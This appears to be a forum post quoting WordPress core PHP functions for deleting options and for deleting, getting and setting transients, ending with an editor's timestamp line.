* @uses do_action() Calls 'deleted_option' and 'delete_option_$option' hooks on success.
*
* @param string $option Name of option to remove. Expected to not be SQL-escaped.
* @return bool True, if option is successfully deleted. False on failure.
*/
function delete_option( $option ) {
global $wpdb;
$option = trim( $option );
if ( empty( $option ) )
return false;
wp_protect_special_option( $option );
// Get the ID, if no ID then return
$row = $wpdb->get_row( $wpdb->prepare( "SELECT autoload FROM $wpdb->options WHERE option_name = %s", $option ) );
if ( is_null( $row ) )
return false;
do_action( 'delete_option', $option );
$result = $wpdb->delete( $wpdb->options, array( 'option_name' => $option ) );
if ( ! defined( 'WP_INSTALLING' ) ) {
if ( 'yes' == $row->autoload ) {
$alloptions = wp_load_alloptions();
if ( is_array( $alloptions ) && isset( $alloptions[$option] ) ) {
unset( $alloptions[$option] );
wp_cache_set( 'alloptions', $alloptions, 'options' );
}
} else {
wp_cache_delete( $option, 'options' );
}
}
if ( $result ) {
do_action( "delete_option_$option", $option );
do_action( 'deleted_option', $option );
return true;
}
return false;
}
/**
* Delete a transient.
*
* @since 2.8.0
* @package WordPress
* @subpackage Transient
*
* @uses do_action() Calls 'delete_transient_$transient' hook before transient is deleted.
* @uses do_action() Calls 'deleted_transient' hook on success.
*
* @param string $transient Transient name. Expected to not be SQL-escaped.
* @return bool true if successful, false otherwise
*/
function delete_transient( $transient ) {
do_action( 'delete_transient_' . $transient, $transient );
if ( wp_using_ext_object_cache() ) {
$result = wp_cache_delete( $transient, 'transient' );
} else {
$option_timeout = '_transient_timeout_' . $transient;
$option = '_transient_' . $transient;
$result = delete_option( $option );
if ( $result )
delete_option( $option_timeout );
}
if ( $result )
do_action( 'deleted_transient', $transient );
return $result;
}
/**
* Get the value of a transient.
*
* If the transient does not exist or does not have a value, then the return value
* will be false.
*
* @uses apply_filters() Calls 'pre_transient_$transient' hook before checking the transient.
* Any value other than false will "short-circuit" the retrieval of the transient
* and return the returned value.
* @uses apply_filters() Calls 'transient_$option' hook, after checking the transient, with
* the transient value.
*
* @since 2.8.0
* @package WordPress
* @subpackage Transient
*
* @param string $transient Transient name. Expected to not be SQL-escaped
* @return mixed Value of transient
*/
function get_transient( $transient ) {
$pre = apply_filters( 'pre_transient_' . $transient, false );
if ( false !== $pre )
return $pre;
if ( wp_using_ext_object_cache() ) {
$value = wp_cache_get( $transient, 'transient' );
} else {
$transient_option = '_transient_' . $transient;
if ( ! defined( 'WP_INSTALLING' ) ) {
// If option is not in alloptions, it is not autoloaded and thus has a timeout
$alloptions = wp_load_alloptions();
if ( !isset( $alloptions[$transient_option] ) ) {
$transient_timeout = '_transient_timeout_' . $transient;
if ( get_option( $transient_timeout ) < time() ) {
delete_option( $transient_option );
delete_option( $transient_timeout );
$value = false;
}
}
}
if ( ! isset( $value ) )
$value = get_option( $transient_option );
}
return apply_filters( 'transient_' . $transient, $value );
}
/**
* Set/update the value of a transient.
*
* You do not need to serialize values. If the value needs to be serialized, then
* it will be serialized before it is set.
*
* @since 2.8.0
* @package WordPress
* @subpackage Transient
*
* @uses apply_filters() Calls 'pre_set_transient_$transient' hook to allow overwriting the
* transient value to be stored.
* @uses do_action() Calls 'set_transient_$transient' and 'setted_transient' hooks on success.
*
* @param string $transient Transient name. Expected to not be SQL-escaped.
* @param mixed $value Transient value. Must be serializable if non-scalar. Expected to not be SQL-escaped.
* @param int $expiration Time until expiration in seconds, default 0
* @return bool False if value was not set and true if value was set.
*/[/#]
Modifié par 6l20 (05 Sep 2014 - 10:15)